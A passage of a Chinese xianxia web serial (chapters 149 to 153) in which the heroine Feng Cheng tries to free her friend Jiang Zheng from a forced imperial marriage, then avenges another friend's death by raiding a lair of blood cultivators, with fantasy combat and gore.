闻言,姜逢好像突然吞了一口陈年的醋一样,从喉口到心头,不知是什么滋味,他看着封澄,喃喃道:“……活着就好。” 他好像在劝自己一样,喃喃着,失魂落魄一般,便向外踉跄。 孙小荷看着他,一时间不知说什么好。 医者之行,治得人疾病,无能为力却多。 突然,她想到了什么,连忙道:“将军,这个!” 她从杂物堆中一番搜寻,找出了一颗圆溜溜的灵器。 “大抵是寄错了的,”她道,“灵器太多,堆在一起,标签都混杂了,这东西不是我要来诊治的灵器,我瞧着灵气庞然,十分珍贵,怕是送错了人家。” 姜逢魂不守舍地接过了那颗灵器,一摸上去,便被其中浩如烟海般的灵力震撼住了,他精神一振,连忙道:“那群鸟又昏头了,我这就送去寻失主。” 说罢,他便忙不迭地出门去了。 *** 赵负雪等待着封澄的来讯。 一日,两日。 十日。 光阴如水,却如铅水,流淌得张牙舞爪,沉重得痛彻心扉。按理来说,修道之人是无心什么春夏秋冬的,可赵年站在那里,凭空便觉得凛冬将至了。 说来也是,从前在院中,也只封澄专心致志地琢磨春秋时令,冬日火盆,夏日冰碗,连带着修剪乱飞的花枝也是她一手代劳,自封澄走后,鸣霄室荒芜了几日,也是近来赵负雪重新住进来,此地才肯重新生机勃勃的。 赵年心惊胆战地看着他一日日地沉默下去,而终日间放于手边的通讯灵器却一日也未响过,甚至连误触都未有一次。 经此,只有两个可能。 一个可能,封澄笨得离谱,不会用通讯灵器。 第二个可能,封澄干脆没打算给赵负雪通讯,所以连犹豫也没有,直接把灵器丢一边了。 终究,忍不住开口道:“许是孩子野性大,出去便不念着……” “备车。” 赵年一怔,好像不敢相信自己的耳朵,赵负雪独坐鸣霄室花树下,面色冷如凝水。 “即刻备车,去长煌。” 经数年游历后,赵负雪伤痕累累地回京,自此之后,再不出京,已过十余年。 人人皆道,天下平定,剑尊不出京。 而赵年却深知,赵负雪不出京,与什么天下不天下的,一点关系也没有,独独是一个原因——若无八方镇住他体内灵力,他的灵力只会被现在更下肆虐。 而如今经剖骨之痛,失去了半根剑骨的赵负雪,现下更是离不得京了。 眼见着赵负雪便要离去,赵年深吸一口气,勉强平定了心绪,终于开口道:“不可。” 赵负雪微微偏过头。 赵年道:“你忘了师尊的心血,我却不能忘,你的死活并不是一人身上之事,若你死在外面,视天机之众为何物?难道让他们群龙无首,引颈就戮么!” 赵负雪冷冷道:“生死之事,由我不由人。” 赵年简直要被上涌的气血冲晕过去了:“十日后姜氏送女入宫,天机师如同自断一臂,你若在眼下出了差错,难道要天机师被国师之众逼死么!” 他平静道:“姜徵天纵奇才,且为姜氏少主,姜允疯了,祝京是死的?” 赵年道:“……迟国师同姜允说了什么,自姜徵后,不会再有姜氏女入宫,此代之后,姜氏女自由。” “姜允不愿。” “姜徵应了。” 以一身之力,还日后代代自由。 唯一牺牲的,只有那昙花一现般的刀修。 而赵负雪却若有所思地摸了摸下巴。 “姜徵并没有给自己留后悔的余地。” 赵年有些意外地抬起了眼睛,道:“尊者要做什么?” 她并不觉得赵负雪是这种会顾及到个人喜恶的贴心人。 赵负雪微微勾了勾唇角。 “如若姜徵不愿,把消息透给长煌,叫阿澄回京一趟,赵家会替她保住姜徵。” 这次轮到赵年愕然了,赵负雪平静道:“若她愿意,那便罢了。” 这话的意思就是,出京之事,有得谈了! 赵年眼睛登时一亮,也不顾什么封澄不封澄了,只要赵负雪老实在京就行,她立即道:“我立即传信。” 不管是愿还是不愿,这个消息到封澄那里,必须是不愿。 且—— 赵年快步走去,衣带若飞。 姜徵是她的学生。 小姑娘一身素衣,沉默寡言,时时见她,便背着一把长刀,见了人,沉默工整地行武者礼。 以此私心。 她不愿意看见姜徵葬在深宫之中。 同样的,赵负雪大概也是不愿的。 还姜氏女自由,法子千万,可唯独不该有一个自由自在的生命,孤独执拗地葬在无人之地。 消息送出,将将十日。 黎明将见日光之时,一骑快马猝然踏响了洛京的长街。 “天机铁骑封澄!”红鬃马上,女子厉声道,“回京述职!” 第150章 第150章长刀 封澄接到消息,一路快马加鞭,孙小荷唉声叹气,几乎拎着她耳朵叮嘱万千,切记不可乱动灵力,万万无奈之下,她只得放弃了御剑。 跑死了两匹马,总算在十日之内赶到了洛京,随行有二人,皆为骑术了得的铁骑军,一个是同样心急如焚的寸金,另一个则是最为熟悉洛京的秦楚。 秦楚道:“封姑娘,再往前去,便是姜府了。” 数日未眠,即便是强悍入铁人也已经憔悴不堪了,更何况是重伤初愈的病人,封澄死死地盯着姜府的大门,双目通红,人却冷静无比。 “不宜打草惊蛇,你们去赵府寻我师尊,他自会安排。” 收到赵年送来的信时,封澄刚醒一日,一见,当场惊裂了伤口。 她此事已经顾不得与赵负雪哪些可提不可提的事情了,师徒二人在姜徵一事上冰释前嫌,不约而同地走到了一条路上。 姜府有哪些小门暗道,如若说姜徵是最清楚的那一个人,那么封澄就是第二清楚的另一个人。她顺着暗门溜进去,走过七八个小门,终于落到了姜徵的院墙上。 院子十分安静,干干净净,空空荡荡,只有一个忙碌的侍女,样子看起来不带喜色,更是忧心忡忡。 封澄吹了个唿哨。 她惊觉,猛地抬起头来,见落在院墙上的封澄,咣当一声便把手里的盆砸在了地上,她惊慌无比地道:“封姑娘!?” 院墙上的人好像一只轻巧的猫一般落在了地上,连地上的落叶也未惊起分毫,封澄呲牙咧嘴——自从醒来,她总觉得周身经脉流荡不顺,只有一身轻功是从娘胎里带来的,眼下倒是没出什么问题。 使者瞳孔紧缩,眼前的女子面上疲态重重,半旧的轻甲未卸,风尘仆仆,浑身上下只有一双眼是亮的,其余皆是灰扑扑,放在平常,这种人是打死不能进姜徵小院的,可此时也顾不了这么多,侍者只略动了一下脑子,便明白封澄是为什么而来的了。 她小声道:“少主把自己关在里面,不吃不喝,已经三天了。” 封澄沉着脸,四处看了看,道:“有什么温和好下肚的东西,尽量弄来些,饿着肚子怎么跑。” 侍者一惊:“您不是来送嫁的?” 封澄大步流星地推开了门,嗤笑一声:“送嫁?姜徵愿意才叫送嫁,她不愿意,我送个屁。” 说罢,她便头也不回地走进了姜徵的屋子,徒留侍者一人站在原地茫然。 是……是么? 屋内传来压着声音的女声:“还不快去。” 她浑身一激灵,封澄在天机营里混得久了,开口便有军令如山不可质疑的味道,侍者登时不作他想,摸出门去备食物了。 在天机院厮混这么久,封澄并不是头一次来姜徵的院子,可见到姜徵的院子这么安静,还是第一次。 她走向了内室。 从前,她便觉得,姜徵与赵负雪是有些相似的,二人都是冷清人,可偏生爱热闹得紧,姜徵屋中侍从不像外院侍从似的警惕,反而尽是些年轻活泼的女孩子,就好像赵负雪瞧着冷若冰霜,却收了她这样一个闹腾的弟子。 宫中冷寂,想来没有女孩子会在她的门前簪花。 “……进宫的日子是明天,”姜徵端坐妆台前,淡淡道:“你即便来送嫁,也是送早了。” 她作了平素少见的打扮,衣饰精妙绝伦,雍容华贵。叫人几乎忘掉她素衣长刀的模样。 “谁要来给你送嫁,”封澄冷道,“我不过出京一年,你便把自己混成了这副样子……还能翻墙吗?轻功没费吧?” 姜徵猛地抬起了眼睛,愕然地转过头。 一转身,封澄看见了她摆在妆台前的长刀。 “看什么看,”封澄倚着内室的门框,没好气道:“一会儿有人来送吃的,你吃了就跟我走,师尊说了,他保你平安逃走。” 竟然是赵负雪也出面了吗,姜徵微微地垂下了眼睛。 君子一诺,重逾千金,早在封澄宫宴之前,她便在偶然一次轮值中,碰巧见到了那位迟太师。 “姜氏少主?” 他微微一笑,极薄的唇角上扬。 “不知你愿意为了你的全族,牺牲多少呢?” 姜徵记得当时只觉得意外:“万死不辞,迟太师有何高见。” 迟太师的辇驾远去,唯有声音意味深长。 “我能够终结姜氏后族的命运。” “……千秋万代,唯此良机,少主千万要想好了。” 第二日,便得了帝皇送来的聘书,附带有她不会拒绝的条件。 可人非草木,岂能无情,她也是个年纪尚轻的孩子,若说不后悔,是不可能的。 奈何世事已然将她逼到悬崖角上,再无转圜的余地。 直到今日。 一碗热气腾腾的汤团递了过来,封澄垂眼,又看了看小心翼翼地捧来汤团的侍者。 她今年方十六岁,年纪极轻,连多看一眼都不敢,恨不得像没见过封澄一样。 是了,姜徵怔怔地想,一朝应下,万死不辞,她一走,便是把一切都舍弃了。 连带着将滔天罪责送给姜家。 封澄不耐道:“还啰嗦什么?只会守着刀掉眼泪,不愿意还不走,进宫等死?” 姜徵慢慢地吃汤团,闻言,抬起眼,平静地纠正道:“我没有掉眼泪。” 封澄:“……” 吃罢,她站起来,将身上的锦绣一扯! 叮铃咣啷,掷地有声。 封澄满意:“这才对嘛,不枉我跑死两匹马……身手还在吗,有人封你灵力吗?” 说来她也觉得奇怪,姜允从来视姜充如眼珠子,怎么一时昏了头,竟然要把姜徵逼进宫去! 姜徵答了一声在,抬手便要拔头上簪子,封澄连忙拉住她:“别别别别拔!留下来,等到时候融了做路费。虽说有我师尊担着,但难耐你母亲追查,还是要躲一躲的。” 追查? 姜徵不置一词,她起了身,带了长刀,拇指在刀鞘上摩挲片刻,再抬起头时,目光便明亮了许多。 “躲去哪里?” 封澄道:“城外有我的人接着,剩下的,师尊一早就安排好了。只等我们走后,他给处理。” 姜徵微笑:“你如今越发本事大了。” 闻言,封澄登时财大气粗地挺起了腰,拉着她便往外跑,一边还在嘴里吹牛:“那……那是,等我将来封了大将军,给你撑腰,你要当皇帝,我就……我就起兵造反,难道还稀罕宫宅里三寸见方的富贵么!” 还是个屁大点的骑兵将就要起兵造反了,天下岂有这样参军的,而姜徵听着这番荒谬的阙词,却不自觉地想笑。 说来奇怪,封澄一边带着姜徵往外逃一边想,虽说她预料到这些偏房小门的巡逻之人少,但没想到会这么少,连带着揣了一腰包的暗器与符都没派上用途,二人一人顶着一张隐匿符,便这么畅通无阻地从姜氏偏门里溜了出来,甚至连那胆小的侍女也没去告发。 怪了,明明是逼嫁,怎么姜允一点儿都不怕姜徵逃跑?封澄觉得有些茫然,却还是依着安排,带姜徵上了马,一骑绝尘,向着城门而去。 她有些清减了,身上能摸得出骨头,比刀鞘还硬。 来时黎明,去时也是黎明,一来一回,日光甚至都未穿破云层,透过城墙,只有火似的、橙黄的太阳。 寸金一行早已等在前面,见封澄将人送到,指了指身后的马车。 那是灵石烧的马车,行万里,要烧十万两银的灵石。 姜徵却突然道:“阿澄,我想再看一眼洛京。” 封澄怔了怔。 身后没有追兵,一切都顺利得不可思议,马车的灵石烧足了,城上守卫也未收到分毫紧闭城门的消息。 时间还来得及。 封澄想了想,道:“去城墙上。” 那里是整个洛京最高的地方,足以饱览大片京城的风光。 二人站在城墙上,沉默片刻,没有人开口说话。 晨风裹着尘土的气息,二人站在城墙上,越过层层云端,却无人回首看晨光熹微的洛城。 她们看向城外。 那是一条宽广的、尘土飞扬的,人迹罕至的殊途。 封澄感觉耳边痒痒的,好像是姜徵的长发被晨风吹了过来,她怔怔的,耳边传来姜徵平静如昨的声音。 “就到这儿吧。” 封澄听不见自己的声音了。 “你说什么。” 一切的奇怪之处都有了解释,为什么姜徵的灵力没有被封;为什么明明是逼婚,院子里却连个看守都没有;为什么二人的出逃如此顺利,连个阻拦的追兵、连个通风报信的侍从也没有。 这是姜徵愿意的。 姜徵的声音好像轻得随时能落在晨风里似的。 “我本来没想告诉你,没想到你会回来。” 是的,连日书信,封澄在洛京的消息几乎全数都是姜徵带来的,甚至在养伤之时,也有姜徵的信件过来。 对入宫之事,只字不提。 从前二人站在城墙外,殊死一搏只为入城,如今身无枷锁,却终被困于城中,此生不得出了。 姜徵并没有回过头,她甚至并没有分给封澄一个视线,只是怔怔地看着天外连绵的云端。 “我身至此,多不由己。”她平静道,“你是自由的,阿澄。” 天光透上城墙的一刹,姜徵转过了头,背着的日光将她的素白的衣袍照出了血红的模样,单单束起的、不着丝毫装饰的马尾长发扬起。 “混成大将军,给我看看,”她背对着封澄扬了扬手,把长刀抛给了她,“等你替我造反,珍重。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 150-160 第151章 第151章还沙 姜徵的身影渐渐地消失在了路的尽头,封澄就在 城墙上,怔怔地看着。 修道之人耳聪目明,更何况秦楚寸金便在城下,二人站在燃着灵石的车马前,半晌,秦楚涩道:“把灵石熄了罢。” 她看着封澄在城墙上怔了半日,过了许久,她才从城墙上一跃而下,声音有些闷闷的:“回去同师尊辞别,准备启程回营。” 年少时异想天开,以为凭手中的剑便能得偿所愿,其实世间不得已这么多,哪里轮得到她指手画脚。 秦楚看着她有些失魂落魄的背影,不知为何,也有些难过。 寸金走过去,轻声道:“走了,秦姑娘。” 阔别许久,封澄再走向鸣霄室,便有些近乡情怯的局促,她站在门口,叩门的手犹豫了几次,却迟迟未落下。 正在此时,门却悄悄地开了。 封澄一抬眼,便见了花树下的谪仙人。 全须全尾地坐在花树下,一起身,膝上有落花,封澄吓了一跳,忙道:“师尊快坐,不要起身。” 这一吓才把她吓了近来,赵负雪垂眸看着她,微微勾唇道:“不妨事,以机关道撑起了骨骼。你瞧着有些憔悴。” 她不太愿意叫赵负雪平添担心,于是对前几日重伤一事只字不提,只含糊地应了一声,赵负雪略微抬眸看了看她的身后,两位着轻甲的年轻将士向他拱手行礼——两人都十分面熟。 赵负雪将这二人对上了号。 门口忽然被敲了两记,封澄回过头去,她定睛一看,有些意外:“何守悟?” 赵负雪垂眸,掩下眼底暗色。 这次轮到封澄惊奇了:“你怎么在这里?” 何守悟满头大汗地红了脸,抱着怀里书册,有些羞赧道:“天机内院特批,收小的入学了,多谢将军知遇之恩,若无将军侠义之举,圣上断然不会注意到小的。” 以凡人之身入天机内院,的确是了不得的本事。 封澄点了点头,这才想了起来,何守悟接着道:“我有困惑之道,师尊亦是不解,故来求教,未扰了将军吧?” 寸金很注意地看了何守悟一眼。 这人他有印象,早些时候便在内院前摇摇晃晃,时不时还会晃到鸣霄室门口来,今日封澄一进天机院,他便凑巧来求教,说不是刻意,他不太信。 况且,虽说赵负雪的鸣霄室就在这儿,可天机院谁人不知,此人早就移居赵府,哪有弟子会到鸣霄室晃荡的? 余光瞥见封澄,他沉默,将冷笑吞了回去。 兴许是宫宴上解锁救人的缘故,封澄对他印象似乎很是不错。 秦楚冷眼旁观,只觉得气氛不对,眼睛一眯,看见他怀中书册,福至心灵地道:“哦,你是修机关道的?” 何守悟断没料想到突然杀出个秦楚来,有些愕然,却还是面不改色:“是。” 秦楚微笑:“这么巧,我也是修机关道的,你哪里不懂?学姐替你参谋参谋。” 紧接着人便被她不由分说地拉走了,何守悟甚至脸色都没来得及变,赵负雪见状,微微勾了勾唇角,淡淡道:“是朋友?” 封澄看了看他,斟酌道:“从前几面之缘,不算多熟。” 意思就是不熟。 赵负雪暗暗地拍了个掷地有声的板。 师徒二人倒是很默契地没提沈怀玉之事,封澄觉得歉疚,总不敢抬头看他,倒是赵负雪很是平静,波澜不惊,殊不知此举更不像一对师徒,只当是偷吃心虚的负心人,与自觉憋气却不得不大度的正房。 封澄垂眼道:“师尊,多谢你。” 赵负雪并不意外的样子,他微微抬了抬眼睛,封澄接着道:“……多谢你向我传信。” 这是姜徵不会告诉她的事情。 短短一年,面前的少女便已脱去了稚气,骨骼结实了,身量也长了些,原本看人三分笑的眼睛也染上了些不容侵犯的威严,赵负雪认真地看着她,片刻,不着痕迹地收回了眼睛,平静道:“你我之间,不必言谢。” 他自己都未察觉到,看向封澄的双眼已经弥足贪婪,赵负雪轻声道:“除了这些,你没有要向我说的么?” 杳无音讯的日子,不见片羽的信件,无声无息的传讯灵器。 他不信一别经久,封澄只剩这句客客气气的谢,还是为了旁人。 反咒像一把筛子,从心底滤出的,恨与妒磅礴,其余的却封得严密,几乎瞬间,赵负雪眼底便通红了。 封澄垂着眼睛,轻声道:“弟子祝师尊平安康泰,万事无忧。” 一字一句,皆是真心。 掩在宽大袍袖下的手骤然捏紧,苍白如玉的手指上被捏出沁血似的红痕,赵负雪看着她,半晌,道:“宫中诸事生变,在外一切当心。” 寸金皱眉看着师徒二人的往来,一时间,总觉得哪里不对。 封赵二人从前模样,他也是见过的,如今这副和善有余、亲厚不足的模样,令他丈二和尚摸不着头脑。 天色将近日中之事,封澄告辞,赵负雪并未挽留。 马蹄哒哒,一日之后,姜徵大婚,天子迎娶帝后,姜氏女入主东宫。 十日后,封澄派人送来了一封迟来的贺礼,并未露面。 此后,再有她的消息,便随着马蹄与信使,赵负雪开始逐渐收到了封澄问候的短信件,寥寥数语,问过便安,有时半月一封,有时一月一封。 赵负雪不动声色地收好,安置在赵府书房中。 而京中之人再度听见封澄的消息,则是数道飞书,送来了天机军新的主将。 又及,名为天机铁骑的亲卫军,在短短一年之中,杀遍了长煌大原四起的灾祸。 天魔复生,人人自危,可隐隐约约间,众人心底死后另有一道稳固而不可犯的防线,重新架了起来。 而天机之名,渐渐得震于世。 *** 与此同时,长煌大原上。 封澄坐于中军帐中,皱着眉活动了左臂,一旁施针的孙小荷猛地嘶了一声,一掌拍下,示意她老实点儿。 “我觉得经脉仍是不通,”封澄露着上身与手臂,密密匝匝的绷带箍在了上面,她皱眉,忍受孙小荷把她扎成一只刺猬,“已经一年有余,按理说天大的伤势也该痊愈了,怎么如今用起灵力来,还是跟我的钱包一样,抖抖就空了。” 孙小荷翻了个白眼,扳住她的右手:“总得有个过程,灵力暴行,冲破经脉,旁人早该成了血漏子。” 熟悉的病症,封澄道;“怎么会这么严重,我师尊也是灵力暴行,经脉破损,照旧是好好的。” 这话倒是令孙小荷意外了:“赵负雪,灵力暴行?” 口气有些不可置信,封澄奇怪道:“怎么了?” 孙小荷一边施针一边皱眉:“我师祖替他瞧过脉案,我也看过几眼,他并非灵力暴行,而是道心不稳,故经脉单薄,以至体不蓄灵。我当时还曾疑惑,按理说,道心不稳,早在初入仙途时便该露了端倪,修行难以有成,断不可能修行到如此地步,才突然道心不稳。” 她吹了吹针上火焰,将针取下,妥帖地安置:“大禹治水,在疏不在堵,于此道上亦然。与其费尽心力镇压灵力,不如寻到那道心不稳的病根,一举拔除。” 封澄很注意地听着,她道:“我年少时,似乎听我师叔说起过,当年师尊是逢了一场大劫,才性情大变。” 孙小荷点了点头;“那便照病开方,药到病除,恕我直言,他的脉象并非久寿之人,若此劫不解,即便灵力在身,也寿数无多了。” 闻言,封澄心中有些沉重,她点了点头,一边活动筋骨,一边思索孙小荷所言,正若有所思间,忽然有一人急切地掀开了中军帐的门,封澄回头一看,意外道:“寸金?” 寸金稳妥,平素少有这么急切的时候,他道:“有人求见姑娘,说是带来了陈还的消息。” 陈还的消息?! 封澄闻言,瞳孔猛地一缩。 自天机院结业后,陈还便出去游历天下,虽时时有信,却渐渐不见其人。 “……发现了,她的尸身。” 刹那间,封澄浑身的血齐齐冲上了头顶,她强撑着镇定,艰难开口道:“把送消息的人,带进来。” 一阵兵荒马乱,紧接着便提进来一人,封澄定睛一看,只见来者形容狼狈,比起乞丐也好不到那里去,浑身脏得要命,她意外道:“是你?” 何守悟一见她,便奄奄一息道:“……水。” 旁人连忙把水给他灌下去,封澄又掰了个饼子来递给他,何守悟接过饼子,狼吞虎咽地吃了,眼中才没了那份奄奄一息的绿光,封澄强撑着耐心道:“陈还尸身,是怎么回事?” 何守悟闻言,不声不响,眼泪却一滴一滴地往下砸:“我若说了,求大人不要伤心。” 封澄本就一肚子火,闻言,深吸了一口气,道:“你说。” 何守悟蜷缩着,小心抬眼觑了封澄神色,才小心翼翼道:“……她的尸身在还沙。” 刹那间,封澄眼前天旋地转,她难以置信地逼近何守悟, 一把攥紧了他的衣领,寸金一行手忙脚乱,七手八脚地将她往外撕:“你知道自己在说什么吗!?!” 何守悟被晃得脸色更白了,他连声音都细弱了:“……有人,有人亲眼所见,绝,绝无妄言。” 封澄一偏头,只见身后慢慢走进来一人。 眼歪鼻斜,面上伤痕可怖,依稀可见几口巨大的空洞。 她怔怔地松了手。 这张脸,她从前十分熟悉。 沈怀玉那张肖似赵负雪的脸,被毁得一干二净。 何守悟惨淡笑道:“还沙之地,横陈还尸身,将军为何反应这么大?” 反应这么大? 封澄混混沌沌,不知道自己为何会晃到书案前。 升任主将后,中军帐大了许多,足够摆下一张桌子。 她抽出了垒成一叠的信函,漆黑无比,写着同样的内容。 阿澄救我。 发出之地,就在还沙。 第152章 第152章瞑目 这是封澄第一次走到还沙里来。 她这几日如同行尸走肉,连寸金都有些看不下去,他禀报道:“经天机所同僚们所查,陈还天机玉佩最后出现的位置,是在还沙的一处荒城。” 顿了顿,寸金补充:“……也是当地血修最大的盘踞之所。” 封澄耳朵已经听不见话了,她喃喃道:“全杀了。” 全杀了,寸金不忍道:“边卫不可出长煌,我等尽力,只带出来铁骑十七人,将军,你灵力运行不畅,我们……” 封澄闭了闭眼睛,忍住几乎将她全盘吞噬的杀意。 陈还向她求救过的,她不是没有求救的。 一封接着一封的信,从还沙接二连三地送了出来,封澄甚至不敢想,她是怎么从满是血修的贼窝中一封接着一封地递出求救信的。 从未收到回响,一封接着一封。 思及此处,封澄心底便一阵刀削似的疼,几乎疼得叫她生生窒息过去。 血修折磨人的手段,她并不是没有听闻过,更何况是个血肉丰沛的年轻修士。 一步一步,越走,越是痛彻心扉。 而她已经想过发信人是陈还了,她甚至给陈还寄去了信,甚至与消息另一头的假陈还你来我往地写过了无数封信件。 可为什么没有来还沙查一查?为什么没查查这封求救信的主人究竟是谁? 陈还临死之前,会不会还抱着一丝希望,期望她从天而降,将她从血窝中拯救出来? 封澄的衣角已被兹拉乱窜的灵力引燃,星星点点的火苗在衣角上打转,一烧,连战甲也被烧了一个洞,圆圆的,刚好够放一枚小小的阵盘。 何守悟被留在了军营中,跟随而来的,只有一个指认尸身的沈怀玉。 他脸上蒙了一张漆黑的面纱,挡住了狰狞的脸,他走在封澄身边,眼神却不自觉地落在一旁路人惊异的视线上,半晌,沈怀玉垂了垂眼睛,正要后退,手却被忽然拉住了。 “……陈还,陈还死时,”封澄的声音哑得不成样子,“……好吗?” 沈怀玉一怔。 他躲闪般垂了眼睛,片刻,轻轻地点了点头。 “还姑娘是自爆灵力而死的,”他道,“尸身完好,一切妥帖。” 沈怀玉小心翼翼地从怀里取出一枚阵盘,封澄垂着眼睛,接过了这只小小的阵盘。 “……我在还沙,靠做些死人生意过活,”他慢慢地道,“前些日子,在新鲜尸身上,捡到了这枚阵盘,拿去卖,正巧,被何公子见到了。” 天机师的本命灵器,是作不得假的。 “……尸身呢?” 沈怀玉垂下了眼睛。 “当时送来,似乎,有些魔气,何公子恐其成魔,做主,烧了。” 尸身魔变,生前之怨必然滔天,所谓善终,不过是沈怀玉宽慰她的谎言,封澄明知如此,手却将陈还的本命灵器攥得更紧。 “……那些滔天的怨气,”她怔怔地想,“有没有我的一份呢?” 无望地等待着的陈还,最后死不瞑目之时,恨不恨她呢? 人在悲痛到极致时,是流不出眼泪的,眼眶里酸涩,落下来却只剩下心如刀割的疼痛,封澄甚至觉得荒谬而可笑。 她原以为,马蹄踏过天魔的头颅,战功赫赫,想要保护的,想要去追寻的,便会离她近一些。 可分明什么都没做到。 寸金心中虽也痛楚,可还是敏锐地觉察到了封澄的异样,他暗道一声不好,连忙道:“将军,你暂缓几日,现如今并没有证据,我们无法……” 封澄却猝然打断了他。 “等个屁。” 师出无名,公兵报私仇,管的还不是长煌大原的事情,用脚趾头想想,就知道这兵动不了。 继任主将本就为姜逢重伤而不得不行,朝廷对封澄本就颇有微言,一动,给她扣个造反的帽子都够了。 唯一能调动的,大概就是封澄的亲卫。 她的牙齿已经将唇咬得血肉模糊,她狠狠地捏着手里长生,一字一句,道:“我一日都不会等,此去我没打算要命。” 盘据一方的血修,一定是块难啃的骨头,寸金见状,同跟随而来的天机军众人交换了一个视线,随即不约而同地跟在了封澄的身后。 御剑轻骑,一行人不着甲,好像一队游商一般,渐行至一农庄门前。这农庄在偏僻城郊,只站在门口,便凭空脊背发凉,好似被其中之阴森骇住了一般。寸金冷静道:“这些血修总有七十余人,不成气候,唯有领头的四人,似乎是颇有凶名的血修,据消息,名为‘风花雪月’,为一生四胎,从不分离。” 好一个风花雪月,封澄面无表情道:“这四人我来应付,清剿外围血修后,即刻退行。” 铁旗营亲卫轻巧如猫般,迅捷无比地解决了外围放哨的几个血修,几人甚至连察觉都未曾察觉分毫,只张了张嘴,便无声无息地倒在了地上。 这一进农庄,众人皆不约而同地皱了眉,好洁之人更是忍不住挪了挪脚——地上是随处可见的血肉骨骼,还有未吃尽的人头。 沈怀玉不知哪来的这么大胆子,硬是不退,紧紧地抱着封澄给他的灵器,亦步亦趋地跟在了天机铁骑的后面。 封澄踏着一地血肉,山鹰似的落到了正堂之中,看守血修猛地睁大了眼睛:“什么人!” 话音未落,一道雪亮剑光刺穿了他的脖颈。 她甩了甩滴血的长剑,一步一步地走进了腥臭逼人的正堂之中,果不其然,那守卫血修的警报惊动了四人,昏暗之处,露出了四双阴森泛红的眼睛。 为首之人声音嘶哑无比:“……来者何人。” 封澄端剑,雪白剑身之上,灵流蹿动,如一条噼啪作响的闪电:“不死不休之人。” 此人披着一身漆黑陈旧的长袍,鹰钩鼻,身子仿佛侏儒,眼神眯起一道凶光,露出的手却年轻无比,仿佛是婴儿新生的一般,封澄心觉古怪,暗暗提防,一剑刺出! 一声剑啸,那人甚至来不及反应,眼前便骤然杀来一道雪亮的剑光,陡然一道血影蒙在此人之前,长生陷在猩红屏障中,去势软下,封澄见状,收剑提身,随即腰间挥出一串雷符,随着一阵轰鸣,那屏障膨然溃散。 一人站在那血修身旁,容貌肖似,他阴狠地擦了嚓嘴角鲜血,寒声道;“大哥何必同此人废话,定是有一个找死之人!” 封澄注意到,他的脖子分外年轻,光洁如美人。 堂中又有一声哈哈大笑:“来得正好!如此灵力,正好来填我等的血池!” 眼前已有三人,封澄心中警惕——风花雪月四人从不单独行动,还有一人呢? 来不及细想,三人一扑而上,封澄此行带足了灵符灵器,血修阴寒,最怕雷符火符等物,她一掏便是一打,仿佛不要钱似的统统往三人身上砸,几人首当其冲便被砸了满头满脸,伤势最重的,则是方才格挡长生 之人,他猛地吐出一口血,恨声道:“哪里来的丫头!无冤无仇,上来就拼命!” 一道血光飙出——竟是封澄一剑斩了他的手臂,封澄盯着那断臂,冷冷道:“自然是冤有头债有主,这个阵盘,还记得吗?” 她手中拿着的,正是陈还的阵盘。 断臂之人当即便要否认,第三个血修却皱了眉,片刻,展颜大笑:“有,有!” “这个是个宝贝,”他盯着断臂之人的手臂,不知是对谁说的,贪婪地舔了舔舌头。 “老子从未在一个活生生的修士身上,见到如此凝重的魔气,”他猛冲几步,双手作爪,凶狠地迎向了长生。 “血池成魔,”他道,“要的就是这种宝贝。” 魔气?陈还身上? 长生猝然被断臂人沁出的血线缠住,封澄见状,双手持剑,借力腾身而起,猛地将第三个血修踹飞出去,心中不由自主地想——陈还是登记在册的天机师,断然不可能是魔物混进去。 紧接着,封澄扯住血丝,一记猛拉,将一旁的断臂之人死死抓过来,还未等人反应,手起刀落,雷符加身,一声血肉闷响,断臂人缓缓地软倒在了地上。 她平静地一甩剑:“……胡说八道,她是活人。” 第三人大笑;“活人?我知道,可你见过,自小生长在魔窝里,丝丝血肉都浸透着魔气的活人么?” 自小生长在魔窝? 第一人看着地上兄弟的尸身,沉默地抬起了头。 “是的,”第三人微笑,“魔窝,还是少见的、地魔的魔窝,按理来说,法则之地,入者即死,可她不光没死,还与那地魔朝夕相处,不曾分离,甚至长成的每一分血肉中,都含着地魔之地的魔气。” 第一人却恍若未闻,他盯着地上尸身,半晌,身上一点一点地腾起血雾,他冷道:“女子,拿命来。” 封澄提剑,灵气一动,经脉处陡然传来针扎似的疼,紧接着,那人已狠狠的扑来,幼嫩的手覆了一层蠕动的血泥,好似鬼爪——躲不开了! 高手过招,招招致命,更何况她以一敌三,若放在平常,这三人她定可痛快斩下,可好死不死,偏生这时灵力供不上了! 那人冷笑:“我当什么高手,竟是个连灵力都无法自控的废物……” 那对鬼爪落在封澄面前的刹那,他陡然瞪大了眼,紧接着,瞳孔猛地一缩。 一条长刀,从他胸腹穿出。 “我还以为你能替我杀了他们,”那人的声音带笑,“大哥,瞑目吧。” 第153章 第153章清修 第四人出现了。 封澄一惊,欲动灵气,却发觉灵气如死水一般,她低头,恍然才觉体内经脉寸寸断裂,原本滔天的汹涌灵力好似断流之河,已然无声无息。 封澄有些平静地想,孙小荷所说的不要妄动灵力,是有道理的。 这是再无仙途了。 地上早已躺了三具尸体。 ——这人好快的身手,好狠的手段。 比起剩余三人,他有一张分外年轻的脸,几乎俊出了女气,血修微笑道:“自我介绍一下,我是‘月’。” 血气震到了肺腑,连同喉管也呼吸艰难,他微笑着道:“有了这三人尸身,成魔大业,终于可成。” 封澄道:“……手足相残。” 他心情很好,一路前行,打开暗门,连带着三具尸身与一个活人,都显得脚步轻快。 “月”的脚步最终停在了地道深处的一口粘稠的血池前。 “这血池啊,埋了多少活人死人了,”猩红的血气腾在他的脸侧,他笑道,“可成魔者,却从来没有一个。我苦苦思索,百思不得其解,终于,我明白了。” 他抬手,将三人尸身噗通丢进了血池中,那池子仿佛有生命般,不过转眼,便把那三人吞了进去。 “月”看向了封澄。 “虽说你已是个废人,”他微笑着脱去外衣,高兴道,“好在一身血肉还值得投个血池……不会很痛的,一进去,就榨成干了,尸身是完整的。” 而封澄的视线却被他的身体吸引了。 他的身体并不苍老,十分年轻,而最为可怖的,却是他的皮肉,是一块一块的。 一块苍老,一块生机勃勃,一块枯槁如树皮,一块洁白如新雪。 注意到封澄的视线,月的兴致很高,他微笑着把双手从血池中拔了出来,新鲜的血肉霎时覆盖了枯槁的双手,他眼中迸出异样的神采,兴致勃勃道:“厉害么?返老还童的长生之术。” 封澄看着那双手,冷冷道:“世上绝无如此邪门之法。” “月”哈哈大笑:“有的,有的,只是代价格外昂贵些,享用到的人,很少,非常少。比如说这些池水,取自宫中八方所守黄连泉,锻体再生,起死回生。” 宫中八方所守的池水! 